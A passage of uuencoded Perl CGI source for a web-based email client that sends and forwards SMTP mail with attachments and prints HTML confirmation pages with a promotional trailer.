:)&-C7W-T<FEN9R`]?B!S+ULL(%TK)"\O.PH`
7)&)C8U]S=')I;F<@/2`B0F-C.B`B.PH`
4:68@*$!S96YD7VUS9V)C8RD@>PH`
B9F]R96%C:"`D861D<F5S<R`H0'-E;F1?;7-G8F-C*2!["@``
I)'-O8VME="T^<V5N9"@B4D-05"!43SH\)&%D9')E<W,^7')<;B(I.PH`
9)&US9STF<F5A9'-O8VLH)'-O8VME="D["@``
6:68@*"1M<V<@/7X@+UXR-3`O*2!["@``
8)&UA:6QE9"`N/2`B)&%D9')E<W,@(CL*
=)&)C8U]S=')I;F<@+CT@(B1A9&1R97-S+"`B.PH`
)?2!E;'-E('L*
G)&9A:6QE9"`N/2`B)&%D9')E<W,@/'4^)&US9SPO=3X\8G(^(CL*
"?0H`
"?0H`
"?0H`
;)&)C8U]S=')I;F<@/7X@<R];+"!=*R0O+SL*
;)'-O8VME="T^<V5N9"@B1$%405QR7&XB*3L*
9)&US9STF<F5A9'-O8VLH)'-O8VME="D["@``
<)'-O8VME="T^<V5N9"@D96UA:6Q?9&%T92D["@``
C)'-O8VME="T^<V5N9"@B)&9R;VU?<W1R:6YG7')<;B(I.PH`
9:68@*&1E9FEN960H)'-A=F5M<V<I*2!["@``
>*"1T;7`@/2`D;6%I;&5D*2`]?B!S+R`N*B0O+SL*
D<'5S:"A`<V%V96AE861E<BPB1G)O;3H@)'1M<%QR7&XB*3L*
"?0H`
;:68@*"1T;U]S=')I;F<@;F4@(E1O.B(I('L*
A)'-O8VME="T^<V5N9"@B)'1O7W-T<FEN9UQR7&XB*3L*
M9&5F:6YE9"@D<V%V96US9RD@)B8@<'5S:"A`<V%V96AE861E<BPB)'1O7W-T
,<FEN9UQR7&XB*3L*
"?0H`
;:68@*"1C8U]S=')I;F<@;F4@(D-C.B(I('L*
A)'-O8VME="T^<V5N9"@B)&-C7W-T<FEN9UQR7&XB*3L*
M9&5F:6YE9"@D<V%V96US9RD@)B8@<'5S:"A`<V%V96AE861E<BPB)&-C7W-T
,<FEN9UQR7&XB*3L*
"?0H`
=:68@*"1B8V-?<W1R:6YG(&YE(")"8V,Z(BD@>PH`
B)'-O8VME="T^<V5N9"@B)&)C8U]S=')I;F=<<EQN(BD["@``
M9&5F:6YE9"@D<V%V96US9RD@)B8@<'5S:"A`<V%V96AE861E<BPB)&)C8U]S
-=')I;F=<<EQN(BD["@``
"?0H`
K)'-O8VME="T^<V5N9"@B4W5B:F5C=#H@)&US9W-U8FIE8W1<<EQN(BD["@``
9:68@*&1E9FEN960H)'-A=F5M<V<I*2!["@``
?<'5S:"A`<V%V96AE861E<BPD96UA:6Q?9&%T92D["@``
M<'5S:"A`<V%V96AE861E<BPB4W5B:F5C=#H@)&US9W-U8FIE8W1<<EQN(BD[
!"@``
M<'5S:"A`<V%V96AE861E<BPB6"U!1$I%+5=E8DUA:6PM)&9R;VU?<W1R:6YG
(7')<;B(I.PH`
9<')I;G0@3T9((")`<V%V96AE861E<B(["@``
"?0H`
<:68@*"1A8W1I;VX@97$@(D9O<G=A<F0B*2!["@``
C*"1A;&P@/2`D;7-G<ULD;7-G;F]=*2`]?B!S+RXJ.B\O.PH`
/;7D@0&AE861E<CTH*3L*
2;W!E;BA&2"PB/"1A;&PB*3L*
M=VAI;&4@*"!D969I;F5D*"1?/3Q&2#XI("8F("@D7R!N92`B7')<;B(I("D@
9>R!P=7-H*$!H96%D;&EN97,L)%\I.R!]"@``
;)&5N9%]O9E]H96%D97(@/2!T96QL*$9(*3L*
M;7D@0&-O;G1E;G0@/2`F9V5T7VAE861E<E]L:6YE<R@B8V]N=&5N="(L0&AE
*861L:6YE<RD["@``
M;7D@0&UI;65V97(@/2`F9V5T7VAE861E<E]L:6YE<R@B;6EM92(L0&AE861L
':6YE<RD["@``
<;7D@)&AE860@/2!-24U%.CI(96%D+3YN97<["@``
=)&AE860M/F5X=')A8W0H7$!H96%D;&EN97,I.PH`
/)&AE860M/G5N9F]L9#L*
/)&AE860M/F1E8V]D93L*
<:68@*"1M<V=T97AT(#U^("]>7',J)"\@*2!["@``
0:68@*$!C;VYT96YT*2!["@``
;)'-O8VME="T^<V5N9"@B0&-O;G1E;G0B*3L*
K9&5F:6YE9"@D<V%V96US9RD@)B8@<')I;G0@3T9((")`8V]N=&5N="(["@``
"?0H`
0:68@*$!M:6UE=F5R*2!["@``
;)'-O8VME="T^<V5N9"@B0&UI;65V97(B*3L*
K9&5F:6YE9"@D<V%V96US9RD@)B8@<')I;G0@3T9((")`;6EM979E<B(["@``
"?0H`
7)'-O8VME="T^<V5N9"@B7')<;B(I.PH`
G9&5F:6YE9"@D<V%V96US9RD@)B8@<')I;G0@3T9((")<<EQN(CL*
;=VAI;&4@*&1E9FEN960H)%\]/$9(/BDI('L*
3)'-O8VME="T^<V5N9"@D7RD["@``
C9&5F:6YE9"@D<V%V96US9RD@)B8@<')I;G0@3T9(("1?.PH`
"?0H`
M?2!E;'-I9B`H9&5F:6YE9"@D:&5A9"T^;75L=&EP87)T7V)O=6YD87)Y*2D@
">PH`
L)&US9U]B;W5N9&%R>2`@/2`D:&5A9"T^;75L=&EP87)T7V)O=6YD87)Y.PH`
0:68@*$!C;VYT96YT*2!["@``
;)'-O8VME="T^<V5N9"@B0&-O;G1E;G0B*3L*
K9&5F:6YE9"@D<V%V96US9RD@)B8@<')I;G0@3T9((")`8V]N=&5N="(["@``
"?0H`
0:68@*$!M:6UE=F5R*2!["@``
;)'-O8VME="T^<V5N9"@B0&UI;65V97(B*3L*
K9&5F:6YE9"@D<V%V96US9RD@)B8@<')I;G0@3T9((")`;6EM979E<B(["@``
"?0H`
7)'-O8VME="T^<V5N9"@B7')<;B(I.PH`
G9&5F:6YE9"@D<V%V96US9RD@)B8@<')I;G0@3T9((")<<EQN(CL*
M=VAI;&4@*"!D969I;F5D*"1?/3Q&2#XI("8F("@D7R!N92`B+2TD;7-G7V)O
1=6YD87)Y7')<;B(I("D@>PH`
3)'-O8VME="T^<V5N9"@D7RD["@``
C9&5F:6YE9"@D<V%V96US9RD@)B8@<')I;G0@3T9(("1?.PH`
"?0H`
F)'-O8VME="T^<V5N9"@B+2TD;7-G7V)O=6YD87)Y7')<;B(I.PH`
M9&5F:6YE9"@D<V%V96US9RD@)B8@<')I;G0@3T9(("(M+21M<V=?8F]U;F1A
)<GE<<EQN(CL*
M)'-O8VME="T^<V5N9"@B0V]N=&5N="U4>7!E.B!T97AT+W!L86EN7')<;EQR
&7&XB*3L*
M9&5F:6YE9"@D<V%V96US9RD@)B8@<')I;G0@3T9((")#;VYT96YT+51Y<&4Z
6('1E>'0O<&QA:6Y<<EQN7')<;B(["@``
@)'-O8VME="T^<V5N9"@B0'-E;F1?;7-G=&5X="(I.PH`
M9&5F:6YE9"@D<V%V96US9RD@)B8@<')I;G0@3T9((")`<V5N9%]M<V=T97AT
#(CL*
7)'-O8VME="T^<V5N9"@B7')<;B(I.PH`
G9&5F:6YE9"@D<V%V96US9RD@)B8@<')I;G0@3T9((")<<EQN(CL*
F)'-O8VME="T^<V5N9"@B+2TD;7-G7V)O=6YD87)Y7')<;B(I.PH`
M9&5F:6YE9"@D<V%V96US9RD@)B8@<')I;G0@3T9(("(M+21M<V=?8F]U;F1A
)<GE<<EQN(CL*
/=VAI;&4@*#Q&2#XI('L*
3)'-O8VME="T^<V5N9"@D7RD["@``
C9&5F:6YE9"@D<V%V96US9RD@)B8@<')I;G0@3T9(("1?.PH`
"?0H`
)?2!E;'-E('L*
M)'-O8VME="T^<V5N9"@B0V]N=&5N="UT>7!E.B!M=6QT:7!A<G0O;6EX960[
G(&)O=6YD87)Y/5PB)&)R;W=S97)?8F]U;F1A<GE<(EQR7&XB*3L*
M9&5F:6YE9"@D<V%V96US9RD@)B8@<')I;G0@3T9((")#;VYT96YT+71Y<&4Z
M(&UU;'1I<&%R="]M:7AE9#L@8F]U;F1A<GD]7"(D8G)O=W-E<E]B;W5N9&%R
*>5PB7')<;B(["@``
H)'-O8VME="T^<V5N9"@B36EM92U697)S:6]N.B`Q+C!<<EQN(BD["@``
M9&5F:6YE9"@D<V%V96US9RD@)B8@<')I;G0@3T9((")-:6UE+59E<G-I;VXZ
+(#$N,%QR7&XB.PH`
7)'-O8VME="T^<V5N9"@B7')<;B(I.PH`
G9&5F:6YE9"@D<V%V96US9RD@)B8@<')I;G0@3T9((")<<EQN(CL*
J)'-O8VME="T^<V5N9"@B+2TD8G)O=W-E<E]B;W5N9&%R>5QR7&XB*3L*
M9&5F:6YE9"@D<V%V96US9RD@)B8@<')I;G0@3T9(("(M+21B<F]W<V5R7V)O
-=6YD87)Y7')<;B(["@``
M)'-O8VME="T^<V5N9"@B0V]N=&5N="U4>7!E.B!T97AT+W!L86EN7')<;EQR
&7&XB*3L*
M9&5F:6YE9"@D<V%V96US9RD@)B8@<')I;G0@3T9((")#;VYT96YT+51Y<&4Z
6('1E>'0O<&QA:6Y<<EQN7')<;B(["@``
@)'-O8VME="T^<V5N9"@B0'-E;F1?;7-G=&5X="(I.PH`
M9&5F:6YE9"@D<V%V96US9RD@)B8@<')I;G0@3T9((")`<V5N9%]M<V=T97AT
#(CL*
7)'-O8VME="T^<V5N9"@B7')<;B(I.PH`
G9&5F:6YE9"@D<V%V96US9RD@)B8@<')I;G0@3T9((")<<EQN(CL*
J)'-O8VME="T^<V5N9"@B+2TD8G)O=W-E<E]B;W5N9&%R>5QR7&XB*3L*
M9&5F:6YE9"@D<V%V96US9RD@)B8@<')I;G0@3T9(("(M+21B<F]W<V5R7V)O
-=6YD87)Y7')<;B(["@``
0:68@*$!C;VYT96YT*2!["@``
;)'-O8VME="T^<V5N9"@B0&-O;G1E;G0B*3L*
K9&5F:6YE9"@D<V%V96US9RD@)B8@<')I;G0@3T9((")`8V]N=&5N="(["@``
"?0H`
7)'-O8VME="T^<V5N9"@B7')<;B(I.PH`
G9&5F:6YE9"@D<V%V96US9RD@)B8@<')I;G0@3T9((")<<EQN(CL*
/=VAI;&4@*#Q&2#XI('L*
3)'-O8VME="T^<V5N9"@D7RD["@``
C9&5F:6YE9"@D<V%V96US9RD@)B8@<')I;G0@3T9(("1?.PH`
"?0H`
M)'-O8VME="T^<V5N9"@B7')<;BTM)&)R;W=S97)?8F]U;F1A<GDM+5QR7&XB
#*3L*
M9&5F:6YE9"@D<V%V96US9RD@)B8@<')I;G0@3T9((")<<EQN+2TD8G)O=W-E
3<E]B;W5N9&%R>2TM7')<;B(["@``
"?0H`
I)%![4U!34WT@)B8@=')U;F-A=&4H1D@L)&5N9%]O9E]H96%D97(I.PH`
)?2!E;'-E('L*
?:68@*"`D871T86-H;65N=',@97$@(GEE<R(@*2!["@``
D)'-E;F1?8F]U;F1A<GD@/2`D8G)O=W-E<E]B;W5N9&%R>3L*
H)'-O8VME="T^<V5N9"@B36EM92U697)S:6]N.B`Q+C!<<EQN(BD["@``
M9&5F:6YE9"@D<V%V96US9RD@)B8@<')I;G0@3T9((")-:6UE+59E<G-I;VXZ
+(#$N,%QR7&XB.PH`
M)'-O8VME="T^<V5N9"@B0V]N=&5N="UT>7!E.B!M=6QT:7!A<G0O;6EX960[
D(&)O=6YD87)Y/5PB)'-E;F1?8F]U;F1A<GE<(EQR7&XB*3L*
M9&5F:6YE9"@D<V%V96US9RD@)B8@<')I;G0@3T9((")#;VYT96YT+71Y<&4Z
M(&UU;'1I<&%R="]M:7AE9#L@8F]U;F1A<GD]7"(D<V5N9%]B;W5N9&%R>5PB
'7')<;B(["@``
7)'-O8VME="T^<V5N9"@B7')<;B(I.PH`
G9&5F:6YE9"@D<V%V96US9RD@)B8@<')I;G0@3T9((")<<EQN(CL*
G)'-O8VME="T^<V5N9"@B+2TD<V5N9%]B;W5N9&%R>5QR7&XB*3L*
M9&5F:6YE9"@D<V%V96US9RD@)B8@<')I;G0@3T9(("(M+21S96YD7V)O=6YD
*87)Y7')<;B(["@``
M)'-O8VME="T^<V5N9"@B0V]N=&5N="U4>7!E.B!T97AT+W!L86EN7')<;EQR
&7&XB*3L*
M9&5F:6YE9"@D<V%V96US9RD@)B8@<')I;G0@3T9((")#;VYT96YT+51Y<&4Z
6('1E>'0O<&QA:6Y<<EQN7')<;B(["@``
)?2!E;'-E('L*
7)'-O8VME="T^<V5N9"@B7')<;B(I.PH`
G9&5F:6YE9"@D<V%V96US9RD@)B8@<')I;G0@3T9((")<<EQN(CL*
"?0H`
@)'-O8VME="T^<V5N9"@B0'-E;F1?;7-G=&5X="(I.PH`
M9&5F:6YE9"@D<V%V96US9RD@)B8@<')I;G0@3T9((")`<V5N9%]M<V=T97AT
#(CL*
B9F]R96%C:"`D<&%T:"`H0&%T=&%C:&5D7W!A=&AS*2!["@``
>*"`D<&%T:"`]?B`O7EQS*B0O("D@)B8@;F5X=#L*
M9&5F:6YE9"@D<V%V96US9RD@)B8@<')I;G0@3T9((")<<EQN051404-(345.
<5"!.3U0@24Y#3%5$140Z("1P871H7')<;B(["@``
?<')I;G0@4U1$15)2(")P871H(#T@)'!A=&A<;B(["@``
M)&-T>7!E(#T@)'%U97)Y+3YU<&QO861);F9O*"1P871H*2T^>R=#;VYT96YT
)+51Y<&4G?3L*
M)&-D:7-P(#T@)'%U97)Y+3YU<&QO861);F9O*"1P871H*2T^>R=#;VYT96YT
0+41I<W!O<VET:6]N)WT["@``
M<')I;G0@4U1$15)2(")C='EP92`]("1C='EP92!C9&ES<"`]("1C9&ES<%QN
#(CL*
5)&)A<V5?9FYA;64@/2`D<&%T:#L*
=)&)A<V5?9FYA;64@/7X@<R\N*EM<+UQ<72\O.PH`
E)&-B;F0@(#T@(EQR7&XM+21S96YD7V)O=6YD87)Y7')<;B(["@``
M)&-T>7!E(#T@(D-O;G1E;G0M5'EP93H@)&-T>7!E.R!N86UE/5PB)&)A<V5?
.9FYA;65<(EQR7&XB.PH`
M;7D@)&-T<F%N(#T@(D-O;G1E;G0M5')A;G-F97(M16YC;V1I;F<Z(&)A<V4V
(-%QR7&XB.PH`
M)&-D:7-P/2)#;VYT96YT+41I<W!O<VET:6]N.B!A='1A8VAM96YT.R!F:6QE
?;F%M93U<(B1B87-E7V9N86UE7")<<EQN7')<;B(["@``
M)&-O;G-T<G5C=&5D7V)O=6YD87)Y(#T@)&-B;F0@+B`D8W1Y<&4@+B`D8W1R
-86X@+B`D8V1I<W`["@``
H)'-O8VME="T^<V5N9"@B)&-O;G-T<G5C=&5D7V)O=6YD87)Y(BD["@``
6)$9I;&5?2&%N9&QE(#T@)'!A=&@["@``
G=VAI;&4@*"!R96%D*"1&:6QE7TAA;F1L92PD8G5F+#4W*2`I('L*
M)&5N8V]D960@/2`F;6EK95]O;&1?96YC;V1E7V)A<V4V-"@D8G5F+")<<EQN
$(BD["@``
9)'-O8VME="T^<V5N9"@D96YC;V1E9"D["@``
2?2`C(&5N9"!W:&EL92XN+BX*
K?2`C(&5N9"!F;W)E86-H("1P871H("A`871T86-H961?<&%T:',I+BXN"@``
?:68@*"`D871T86-H;65N=',@97$@(GEE<R(@*2!["@``
M)'-O8VME="T^<V5N9"@B7')<;BTM)'-E;F1?8F]U;F1A<GDM+5QR7&XB*3L*
M9&5F:6YE9"@D<V%V96US9RD@)B8@<')I;G0@3T9((")<<EQN+2TD<V5N9%]B
0;W5N9&%R>2TM7')<;B(["@``
"?0H`
M?2`C(&5N9"!O9B!I9B`H)&%C=&EO;B!E<2`B1F]R=V%R9"(I(&5L<V4N+BX*
8)'-O8VME="T^<V5N9"@B+EQR7&XB*3L*
9)&US9STF<F5A9'-O8VLH)'-O8VME="D["@``
6:68@*"1M<V<@(7X@+UXR-3`O*2!["@``
7)&9A:6QE9"`N/2`B("1M86EL960B.PH`
,)&UA:6QE9#TB(CL*
"?0H`
*8VQO<V4@1D@["@``
0)'-O8VME="T^8VQO<V4["@``
9:68@*&1E9FEN960H)'-A=F5M<V<I*2!["@``
+8VQO<V4@3T9(.PH`
1=6YD968H)6AE861E<G,I.PH`
F)6AE861E<G,@/2`F9V5T7VAE861E<G,H0'-A=F5H96%D97(I.PH`
C)&AE861E<G-[34534T%'14E$?2`@(#T@)'-A=F5T:6UE.PH`
E)&AE861E<G-[34534T%'15-)6D5](#T@+7,@)'-A=F5A;&P["@``
>;7D@)')E8R`]("9R96-V87)S*"5H96%D97)S*3L*
M)')E8R`N/2`B=&5X="]P;&%I;CHD<V%V96%L;'Q!3$PO04Q,.B1S879E86QL
%7&XB.PH`
M;W!E;BA/1$(L(CX^)'5S97)?9&ER;F%M92]O=71M97-S86=E<RYT>'0B*3L*
0<')I;G0@3T1"("1R96,["@``
+8VQO<V4@3T1".PH`
"?0H`
E<')I;G0@(D-O;G1E;G0M='EP93H@=&5X="]H=&UL7&Y<;B(["@``
0<')I;G0\/$A%4D5$3T,["@``
'/&AT;6P^"@``
'/&AE860^"@``
M/$U%5$$@8V]N=&5N=#TB=&5X="]H=&UL.R!C:&%R<V5T/21,>T-(05)3151]
;(B!H='1P+65Q=6EV/4-O;G1E;G0M5'EP93X*
J/'1I=&QE/B1,>R=#;VYF:7)M871I;VX@365S<V%G92=]/"]T:71L93X*
M/&UE=&$@;F%M93TB1T5.15)!5$]2(B!C;VYT96YT/2(D3'LG5V5B($)A<V5D
,($4M36%I;"=](CX*
(/"]H96%D/@H`
M/&)O9'D@8F=C;VQO<CTD0WM"1U]72$E417T@3$E.2STD0WM,24Y+?2!!3$E.
=2STD0WM!3$E.2WT@5DQ)3DL])$-[5DQ)3DM]/@H`
(2$52141/0PH`
K)G!R:6YT7W1O<%]M96YU*"<G+"1U<V5R7V1I<FYA;64L7"5,+%PE0RD["@``
F;7D@)&QA<W1A9"`]("9P<FEN=%]A9"@M.3DL(F-E;G1E<B(I.PH`
0<')I;G0\/$A%4D5$3T,["@``
$/'`^"@``
5/'1A8FQE('=I9'1H/2(Q,#`E(CX*
(2$52141/0PH`
/:68@*"1M86EL960I('L*
0<')I;G0\/$A%4D5$3T,["@``
:/'1R(&)G8V]L;W(])$-[0D=?5TA)5$5]/@H`
</'1D('=I9'1H/2(Q,"4B/B9N8G-P.SPO=&0^"@``
M/'1D/CQF;VYT(&9A8V4](F%R:6%L+&AE;'9E=&EC82(@8V]L;W(])$-[5$58
25%]"3$%#2WT^/'-T<F]N9SX*
M)$Q[)UEO=7(@365S<V%G92!(87,@0F5E;B!314Y4('1O('1H92!&;VQL;W=I
5;F<@4F5C:7!I96YT<R=].CQB<CX*
8/"]S=')O;F<^)&UA:6QE9#PO9F]N=#X*
</'1D('=I9'1H/2(Q,"4B/B9N8G-P.SPO=&0^"@``
&/"]T<CX*
(2$52141/0PH`
"?0H`
/:68@*"1F86EL960I('L*
0<')I;G0\/$A%4D5$3T,["@``
M/'1R(&)G8V]L;W(])$-[0D=?5TA)5$5]/CQT9"!C;VQS<&%N/3,^)FYB<W`[
&/"]T9#X*
:/'1R(&)G8V]L;W(])$-[0D=?5TA)5$5]/@H`
</'1D('=I9'1H/2(Q,"4B/B9N8G-P.SPO=&0^"@``
M/'1D/CQF;VYT(&9A8V4](F%R:6%L+&AE;'9E=&EC82(@8V]L;W(])$-[5$58
25%]"3$%#2WT^/'-T<F]N9SX*
M)$Q[)UEO=7(@365S<V%G92!#;W5L9"!.3U0@8F4@4V5N="!T;R!T:&4@1F]L
9;&]W:6YG(%)E8VEP:65N=',G?3H\8G(^"@``
8/"]S=')O;F<^)&9A:6QE9#PO9F]N=#X*
</'1D('=I9'1H/2(Q,"4B/B9N8G-P.SPO=&0^"@``
&/"]T<CX*
(2$52141/0PH`
"?0H`
2<')I;G0@(CPO=&%B;&4^(CL*
M;7D@)&YE>'1M<V=N;R`]("9R96QA=&EV95]M<V=N;R@D;7-G;F\L(DY%6%0B
)+$!M<V=S*3L*
=:68@*"1N97AT;7-G;F\@/7X@+UY<9"LD+RD@>PH`
0<')I;G0\/$A%4D5$3T,["@``
$/'`^"@``
M/'1A8FQE(&-E;&QP861D:6YG/3(@8V5L;'-P86-I;F<],B!A;&EG;CUC96YT
$97(^"@``
%/'1R/@H`
4/'1D(&%L:6=N/2)C96YT97(B/@H`
J/&9O<FT@;65T:&]D/2)03U-4(B!A8W1I;VX](G-H;W=M<V<N8V=I(CX*
M/&EN<'5T('1Y<&4](FAI9&1E;B(@;F%M93TB35-'3D\B('9A;'5E/2(D;F5X
)=&US9VYO(CX*
M/&EN<'5T('1Y<&4](FAI9&1E;B(@;F%M93TB55-%4DY!344B("!V86QU93TB
,)'5S97)N86UE(CX*
M/&EN<'5T('1Y<&4](FAI9&1E;B(@;F%M93TB04-424].(B`@("!V86QU93TB
*;6%I;&)O>"(^"@``
M/&EN<'5T('1Y<&4](G-U8FUI="(@=F%L=64](B1,>R=.97AT)WT@)F=T.R9G
%=#LB/@H`
(/"]F;W)M/@H`
&/"]T9#X*
2/'1D(&%L:6=N/6-E;G1E<CX*
J/&9O<FT@;65T:&]D/2)03U-4(B!A8W1I;VX](G-H;W=M<V<N8V=I(CX*
K/&EN<'5T('1Y<&4](G-U8FUI="(@=F%L=64](B1,>R=$96QE=&4G?2(^"@``
M/&EN<'5T('1Y<&4](FAI9&1E;B(@;F%M93TB35-'3D\B('9A;'5E/2(D;7-G
%;F\B/@H`
M/&EN<'5T('1Y<&4](FAI9&1E;B(@;F%M93TB04-424].(B`@=F%L=64](F1E
0;&5T92!S96QE8W1E9"(^"@``
M/&EN<'5T('1Y<&4](FAI9&1E;B(@;F%M93TB4T5,14-4141?35-'4R(@=F%L
-=64](B1M<V=N;R(^"@``
M/&EN<'5T('1Y<&4](FAI9&1E;B(@;F%M93TB55-%4DY!344B("!V86QU93TB
,)'5S97)N86UE(CX*
(/"]F;W)M/@H`
&/"]T9#X*
2/'1D(&%L:6=N/6-E;G1E<CX*
'/&9O<FT^"@``
M/&EN<'5T('1Y<&4](F)U='1O;B(@3VY#;&EC:STB:&ES=&]R>2YG;R@M,BDB
7('9A;'5E/2(D3'LG4F5P;&%Y)WTB/@H`
(/"]F;W)M/@H`
&/"]T9#X*
&/"]T<CX*
)/"]T86)L93X*
(2$52141/0PH`
"?0H`
M:68@*"`H)&YE>'1M<V=N;R!N92`M,3`P,#`I("8F("@D;F5X=&US9VYO(#U^
,("]>+2\@*2`I('L*
0<')I;G0\/$A%4D5$3T,["@``
$/'`^"@``
M/'1A8FQE(&-E;&QP861D:6YG/3(@8V5L;'-P86-I;F<],B!A;&EG;CUC96YT
$97(^"@``
%/'1R/@H`
4/'1D(&%L:6=N/2)C96YT97(B/@H`
H/&9O<FT@;65T:&]D/2)03U-4(B!A8W1I;VX](FEN8F]X+F-G:2(^"@``
M/&EN<'5T('1Y<&4](FAI9&1E;B(@;F%M93TB35-'3D\B('9A;'5E/2(D;7-G
%;F\B/@H`
M/&EN<'5T('1Y<&4](FAI9&1E;B(@;F%M93TB55-%4DY!344B("!V86QU93TB
,)'5S97)N86UE(CX*
M/&EN<'5T('1Y<&4](FAI9&1E;B(@;F%M93TB04-424].(B`@("!V86QU93TB
*;6%I;&)O>"(^"@``
M/&EN<'5T('1Y<&4](G-U8FUI="(@=F%L=64](B1,>R=-86EL($)O>"=](CX*
(/"]F;W)M/@H`
&/"]T9#X*
2/'1D(&%L:6=N/6-E;G1E<CX*
H/&9O<FT@;65T:&]D/2)03U-4(B!A8W1I;VX](FEN8F]X+F-G:2(^"@``
K/&EN<'5T('1Y<&4](G-U8FUI="(@=F%L=64](B1,>R=$96QE=&4G?2(^"@``
M/&EN<'5T('1Y<&4](FAI9&1E;B(@;F%M93TB35-'3D\B('9A;'5E/2(D;7-G
%;F\B/@H`
M/&EN<'5T('1Y<&4](FAI9&1E;B(@;F%M93TB04-424].(B`@=F%L=64](F1E
0;&5T92!S96QE8W1E9"(^"@``
M/&EN<'5T('1Y<&4](FAI9&1E;B(@;F%M93TB4T5,14-4141?35-'4R(@=F%L
-=64](B1M<V=N;R(^"@``
M/&EN<'5T('1Y<&4](FAI9&1E;B(@;F%M93TB55-%4DY!344B("!V86QU93TB
,)'5S97)N86UE(CX*
(/"]F;W)M/@H`
&/"]T9#X*
2/'1D(&%L:6=N/6-E;G1E<CX*
'/&9O<FT^"@``
M/&EN<'5T('1Y<&4](F)U='1O;B(@3VY#;&EC:STB:&ES=&]R>2YB86-K*"DB
5('9A;'5E/2(D3'LG0F%C:R=](CX*
(/"]F;W)M/@H`
&/"]T9#X*
&/"]T<CX*
)/"]T86)L93X*
(2$52141/0PH`
"?0H`
>:68@*"`D;F5X=&US9VYO(#P]("TQ,#`P,"`I('L*
0<')I;G0\/$A%4D5$3T,["@``
$/'`^"@``
M/'1A8FQE(&-E;&QP861D:6YG/3(@8V5L;'-P86-I;F<],B!A;&EG;CUC96YT
$97(^"@``
%/'1R/@H`
4/'1D(&%L:6=N/2)C96YT97(B/@H`
H/&9O<FT@;65T:&]D/2)03U-4(B!A8W1I;VX](FEN8F]X+F-G:2(^"@``
M/&EN<'5T('1Y<&4](FAI9&1E;B(@;F%M93TB35-'3D\B('9A;'5E/2(D;7-G
%;F\B/@H`
M/&EN<'5T('1Y<&4](FAI9&1E;B(@;F%M93TB55-%4DY!344B("!V86QU93TB
,)'5S97)N86UE(CX*
M/&EN<'5T('1Y<&4](FAI9&1E;B(@;F%M93TB04-424].(B`@("!V86QU93TB
*;6%I;&)O>"(^"@``
M/&EN<'5T('1Y<&4](G-U8FUI="(@=F%L=64](B1,>R=-86EL($)O>"=](CX*
(/"]F;W)M/@H`
&/"]T9#X*
2/'1D(&%L:6=N/6-E;G1E<CX*
'/&9O<FT^"@``
M/&EN<'5T('1Y<&4](F)U='1O;B(@3VY#;&EC:STB:&ES=&]R>2YB86-K*"DB
5('9A;'5E/2(D3'LG0F%C:R=](CX*
(/"]F;W)M/@H`
&/"]T9#X*
&/"]T<CX*
)/"]T86)L93X*
(2$52141/0PH`
"?0H`
0<')I;G0\/$A%4D5$3T,["@``
(/"]B;V1Y/@H`
(/"]H=&UL/@H`
(2$52141/0PH`
3<W5B('=R87!?;E]S='5F9B!["@``
4;7D@*"1M<V=T97AT*2`]($!?.PH`
0;7D@0'=R87!P960]*"D["@``
*;&]C86P@)%\["@``
D;7D@0&QI;F5S(#T@<W!L:70H+UQR7&XO+"1M<V=T97AT*3L*
69F]R96%C:"`D7R`H0&QI;F5S*2!["@``
M*"]>("H^+R!\?"`O7EQS*B0O*2`F)B!P=7-H*$!W<F%P<&5D+"(D7UQR7&XB
+*2`F)B!N97AT.PH`
F;7D@0'1M<"`]('-P;&ET*"]<;B\L=W)A<"@B(BPB(BPD7RDI.PH`
79F]R96%C:"`D;&EN92`H0'1M<"D@>PH`
G)'!E<FEO9"`]("@D;&EN92`]?B`O7EPN+RD@/R`B+B(@.B`B(CL*
C<'5S:"A`=W)A<'!E9"PB)'!E<FEO9"1L:6YE7')<;B(I.PH`
0?2`C(&5N9"!F;W)E86-H"@``
0?2`C(&5N9"!F;W)E86-H"@``
1<F5T=7)N($!W<F%P<&5D.PH`
3?2`C(&5N9"!S=6(@=W)A<&ET"@``
2<W5B(&=E=%]T<F%I;&5R('L*
2;7D@*"1W;61I<BD@/2!`7SL*
*;7D@)&QA<W0["@``
3;7D@*"1T:6UE*2`]('1I;64["@``
5;7D@)5`@/2`F9V5T7W!A<F%M<SL*
-;7D@)&QI8R`](#`["@``
5)&QI8R`]("9I<U]L:6-E;G-E9#L*
2;7D@0'1R86EL97(@/2`H*3L*
3;7D@0'1R86EL97)S(#T@*"D["@``
-:68@*"$D;&EC*2!["@``
;0'1R86EL97(]*")"14=)3B!!1E1%4EQN(BP*
((EQR7&XB+`H`
M(BTM/CX@1E)%12!097)L($-'22!S8W)I<'1S(&%D9"!714(@04-#15-3('1O
,('EO=7)<<EQN(BP*
M(BTM/CX@4$]0($4M36%I;"!A8V-O=6YT<R$@1&]W;FQO860@=&]D87DA(2!H
<='1P.B\O=W=W+F%D:F5W96(N8V]M7')<;B(L"@``
)(EQR7&XB*3L*
"?0H`
A*"1T:6UE(#U^("\H+BDD+RD@)B8@*"1L87-T/20Q*3L*
K(21L:6,@)B8@*"1L87-T(#P@-2D@)B8@*')E='5R;B!`=')A:6QE<BD["@``
,;7D@)&9L86<],#L*
A:68@*"`M<R`B)'=M9&ER+W1R86EL97)S+G1X="(I('L*
A;W!E;BA&2"PB/"1W;61I<B]T<F%I;&5R<RYT>'0B*3L*
.=VAI;&4H/$9(/BD@>PH`
0:68@*"]>0D5'24XO*2!["@``
))&9L86<K*SL*
,;7D@0'1M<#TH*3L*
%9&\@>PH`
'8VAO;7`["@``
5<'5S:"A`=&UP+"(D7UQR7&XB*3L*
I?2!W:&EL92`H(&1E9FEN960H)%\]/$9(/BD@)B8@(2]>14Y$+R`I.PH`
:<'5S:"A`=')A:6QE<G,L6R!`=&UP(%TI.PH`
5?2`C(&5N9"!I9B!"14=)3BXN+BX*
6?2`C(&5N9"!W:&EL92`\1D@^+BXN"@``
)?2!E;'-E('L*
1<F5T=7)N($!T<F%I;&5R.PH`
"?0H`
-:68@*"1F;&%G*2!["@``
'<W)A;F0["@``
<)'1I>"`](&EN="AR86YD($!T<F%I;&5R<RD["@``
;<F5T=7)N($![)'1R86EL97)S6R1T:7A=?3L*
)?2!E;'-E('L*
+<F5T=7)N("@I.PH`
"?0H`
"?0H`
;<W5B(&UI:V5?;VQD7V5N8V]D95]B87-E-C0*
">PH`
.;7D@)')E<R`]("(B.PH`
4;7D@*"1I;BPD96]L*2`]($!?.PH`
.<&]S*"1I;BD@/2`P.PH`
?=VAI;&4@*"1I;B`]?B`O*"Y[,2PT-7TI+V=S*2!["@``
C"21R97,@+CT@<W5B<W1R*'!A8VLH)W4G+"`D,2DL(#$I.PH`
-"6-H;W`H)')E<RD["@``
"?0H`
